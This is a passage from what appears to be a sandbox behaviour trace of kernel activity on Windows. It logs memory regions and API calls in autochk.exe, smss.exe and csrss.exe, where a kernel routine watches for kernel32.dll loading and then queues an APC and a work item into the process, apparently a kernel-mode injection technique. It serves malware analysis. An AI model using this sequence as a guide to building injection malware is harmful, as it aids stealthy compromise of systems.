UpcaseTable=0x0) returned 0 [0066.429] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\Wldap32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.440] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.447] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.453] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.464] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.473] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.488] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.493] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\normaliz.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.502] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.513] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.519] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.535] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0066.535] IoIs32bitProcess (Irp=0x0) returned 0 [0066.535] RtlImageNtHeader (BaseAddress=0x77a30000) returned 0x77a300e8 [0066.535] RtlImageDirectoryEntryToData (in: BaseAddress=0x77a30000, MappedAsImage=1, Directory=0x0, Size=0xfffff88002e256b0 | out: Size=0xfffff88002e256b0) returned 0x77ad003c [0066.542] RtlImageNtHeader (BaseAddress=0x77a30000) returned 0x77a300e8 [0066.542] RtlImageDirectoryEntryToData (in: BaseAddress=0x77a30000, MappedAsImage=1, Directory=0x0, Size=0xfffff88002e256b0 | out: Size=0xfffff88002e256b0) returned 0x77ad003c [0066.542] RtlImageNtHeader (BaseAddress=0x77a30000) returned 0x77a300e8 [0066.542] RtlImageDirectoryEntryToData (in: BaseAddress=0x77a30000, MappedAsImage=1, Directory=0x0, Size=0xfffff88002e256b0 | out: Size=0xfffff88002e256b0) returned 0x77ad003c [0066.545] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003426320 [0066.545] KeInitializeApc (Apc=0xfffffa8003426320, Thread=0xfffffa80029e8040, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0066.545] KeInsertQueueApc (Apc=0xfffffa8003426320, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0066.545] ExFreePoolWithTag (P=0xfffffa8003426320, Tag=0x0) [0066.545] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa800344c960 [0066.545] IoGetCurrentProcess () returned 0xfffffa80029dbb30 [0066.545] PsGetCurrentProcessId () returned 0xfc [0066.545] IoIs32bitProcess (Irp=0x0) returned 0 [0066.545] KeInitializeEvent (in: Event=0xfffffa800344c9a0, Type=0x0, State=0 | out: Event=0xfffffa800344c9a0) [0066.545] ExQueueWorkItem (in: WorkItem=0xfffffa800344c960*(List.Flink=0x0, List.Blink=0xe0a5840f2039, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800344c960), QueueType=0x1 | out: WorkItem=0xfffffa800344c960*(List.Flink=0xfffff80002a74670, List.Blink=0xfffff80002a74670, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800344c960)) [0066.545] KeWaitForMutexObject () returned 0x0 [0066.572] ExFreePoolWithTag (P=0xfffffa800344c960, Tag=0x0) [0066.579] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\difxapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.587] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\comdlg32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.596] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.606] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.618] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.624] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.711] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shell32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.718] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wintrust.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.725] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\comctl32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.729] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.731] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.737] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.742] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.753] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.756] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.871] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\normaliz.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 35 os_tid = 0x108 [0066.251] IdePortDispatchDeviceControl () returned 0x0 [0066.251] IdePortDispatchPnp () returned 0x0 [0066.260] IdePortDispatchDeviceControl () returned 0xc0000010 [0066.264] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003524000 [0066.264] IdePortDispatch () returned 0x103 [0066.265] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003525000 [0066.265] IdePortDispatch () returned 0x103 [0066.266] IdePortDispatchPnp () returned 0x0 [0066.267] IdePortDispatchDeviceControl () returned 0xc00000bb [0066.268] IdePortDispatch () returned 0x103 [0066.271] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\Drivers\\crashdmp.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.273] IdePortDispatchDeviceControl () returned 0x0 [0066.273] IdePortDispatchDeviceControl () returned 0x0 [0066.275] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\Drivers\\dumpata.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.277] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\Drivers\\msahci.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.279] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\Drivers\\dumpfve.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.285] IdePortDispatchPnp () returned 0x0 [0066.286] IdePortDispatchDeviceControl () returned 0xc0000002 Thread: id = 46 os_tid = 0x138 Thread: id = 59 os_tid = 0x17c Process: id = "4" image_name = "autochk.exe" filename = "c:\\windows\\system32\\autochk.exe" page_root = "0x1a8a8000" os_pid = "0x10c" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xfc" cmd_line = "\\??\\C:\\Windows\\system32\\autochk.exe *" cur_dir = "C:\\Windows\\system32" Region: id = 318 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 319 start_va = 0x90000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 320 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 321 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 322 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 323 start_va = 0xffb90000 end_va = 0xffc50fff entry_point = 0xffba0660 region_type = mapped_file name = "autochk.exe" filename = "\\Windows\\System32\\autochk.exe" Region: id = 324 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 325 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 326 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 327 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 37 os_tid = 0x110 [0066.084] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\autochk.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.084] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.086] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c5c000 [0066.086] IdePortDispatch () returned 0x103 Process: id = "5" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x2cd93000" os_pid = "0x13c" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xfc" cmd_line = "\\SystemRoot\\System32\\smss.exe 00000000 0000003c " cur_dir = "C:\\Windows\\" Region: id = 344 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 345 start_va = 0x1f0000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 346 start_va = 0x48160000 end_va = 0x4817ffff entry_point = 0x48177d9c region_type = mapped_file name = "smss.exe" filename = "\\Windows\\System32\\smss.exe" Region: id = 347 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 348 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 349 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 350 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 351 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 352 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 353 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 47 os_tid = 0x140 [0069.298] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\smss.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0069.298] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0069.877] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\drivers\\Dxapi.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0069.877] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\win32k.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 Process: id = "6" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0x2c4ad000" os_pid = "0x144" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x13c" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32" Region: id = 356 start_va = 0x0 end_va = 0xfffff entry_point = 0x0 region_type = private name = "private_0x (null)" filename = "" Region: id = 357 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 358 start_va = 0x1d0000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 359 start_va = 0x4a600000 end_va = 0x4a605fff entry_point = 0x4a601540 region_type = mapped_file name = "csrss.exe" filename = "\\Windows\\System32\\csrss.exe" Region: id = 360 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 361 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 362 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 363 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 364 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 365 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 366 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 367 start_va = 0x3b0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 368 start_va = 0x7fefdc20000 end_va = 0x7fefdc32fff entry_point = 0x7fefdc27c28 region_type = mapped_file name = "csrsrv.dll" filename = "\\Windows\\System32\\csrsrv.dll" Region: id = 369 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 370 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 371 start_va = 0x7fefdc00000 end_va = 0x7fefdc10fff entry_point = 0x7fefdc0b1ec region_type = mapped_file name = "basesrv.dll" filename = "\\Windows\\System32\\basesrv.dll" Region: id = 372 start_va = 0x100000 end_va = 0x113fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 373 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 374 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 375 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 376 start_va = 0x7fefdbc0000 end_va = 0x7fefdbf7fff entry_point = 0x7fefdbc2790 region_type = mapped_file name = "winsrv.dll" filename = "\\Windows\\System32\\winsrv.dll" Region: id = 377 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 378 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 379 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 380 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 381 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 386 start_va = 0x130000 end_va = 0x196fff entry_point = 0x130000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 387 start_va = 0x1a0000 end_va = 0x1a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 388 start_va = 0x1b0000 end_va = 0x1b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 389 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 390 start_va = 0x210000 end_va = 0x211fff entry_point = 0x210000 region_type = mapped_file name = "vgasys.fon" filename = "\\Windows\\Fonts\\vgasys.fon" Region: id = 391 start_va = 0x240000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 392 start_va = 0x250000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 393 start_va = 0x4b0000 end_va = 0x630fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 394 start_va = 0x640000 end_va = 0xa32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 395 start_va = 0xbb0000 end_va = 0xbeffff entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 396 start_va = 0xc00000 end_va = 0xc3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 397 start_va = 0x7fefdbb0000 end_va = 0x7fefdbbbfff entry_point = 0x7fefdbb3e50 region_type = mapped_file name = "sxssrv.dll" filename = "\\Windows\\System32\\sxssrv.dll" Region: id = 398 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 399 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 565 start_va = 0x1d0000 end_va = 0x1dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 566 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x1e0000 region_type = mapped_file name = "marlett.ttf" filename = "\\Windows\\Fonts\\marlett.ttf" Region: id = 567 start_va = 0x1f0000 end_va = 0x207fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 568 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 569 start_va = 0x350000 end_va = 0x37ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 570 start_va = 0xa70000 end_va = 0xaaffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 571 start_va = 0xad0000 end_va = 0xb0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 572 start_va = 0xb10000 end_va = 0xb8efff entry_point = 0xb10000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" Region: id = 573 start_va = 0xc80000 end_va = 0xcbffff entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 574 start_va = 0xce0000 end_va = 0xd1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 575 start_va = 0xd20000 end_va = 0xea7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d20000" filename = "" Region: id = 576 start_va = 0xf40000 end_va = 0xf7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 577 start_va = 0xf80000 end_va = 0x237ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f80000" filename = "" Region: id = 578 start_va = 0x7fefdaa0000 end_va = 0x7fefdb30fff entry_point = 0x7fefdaa1440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" Region: id = 579 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 580 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 581 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 582 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 583 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 584 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Thread: id = 50 os_tid = 0x148 [0070.100] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\csrss.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0070.100] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0070.117] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\csrsrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0070.146] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\basesrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0070.172] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winsrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0070.174] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0070.178] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0070.181] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0070.181] IoIs32bitProcess (Irp=0x0) returned 0 [0070.181] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa800353d510 [0070.181] KeInitializeApc (Apc=0xfffffa800353d510, Thread=0xfffffa8003439b60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0070.181] KeInsertQueueApc (Apc=0xfffffa800353d510, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0070.181] ExFreePoolWithTag (P=0xfffffa800353d510, Tag=0x0) [0070.181] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa80028cba50 [0070.181] IoGetCurrentProcess () returned 0xfffffa8003545630 [0070.181] PsGetCurrentProcessId () returned 0x144 [0070.181] IoIs32bitProcess (Irp=0x0) returned 0 [0070.181] KeInitializeEvent (in: Event=0xfffffa80028cba90, Type=0x0, State=0 | out: Event=0xfffffa80028cba90) [0070.181] ExQueueWorkItem (in: WorkItem=0xfffffa80028cba50*(List.Flink=0x0, List.Blink=0xfffffa8002299330, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80028cba50), QueueType=0x1 | out: WorkItem=0xfffffa80028cba50*(List.Flink=0x0, List.Blink=0xfffffa8002299330, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80028cba50)) [0070.181] KeWaitForMutexObject () returned 0x0 [0070.209] ExFreePoolWithTag (P=0xfffffa80028cba50, Tag=0x0) [0070.212] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0070.215] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0070.224] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0070.224] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0070.673] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800354f000 [0070.673] IdePortDispatch () returned 0x103 [0071.008] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\drivers\\dxg.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.187] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\TSDDD.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.196] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\TSDDD.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.237] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sxssrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 55 os_tid = 0x15c Thread: id = 56 os_tid = 0x160 Thread: id = 57 os_tid = 0x164 Thread: id = 58 os_tid = 0x168 Thread: id = 68 os_tid = 0x198 [0073.497] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sxs.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.584] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.586] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.614] IdePortDispatchPnp () returned 0x0 Thread: id = 76 os_tid = 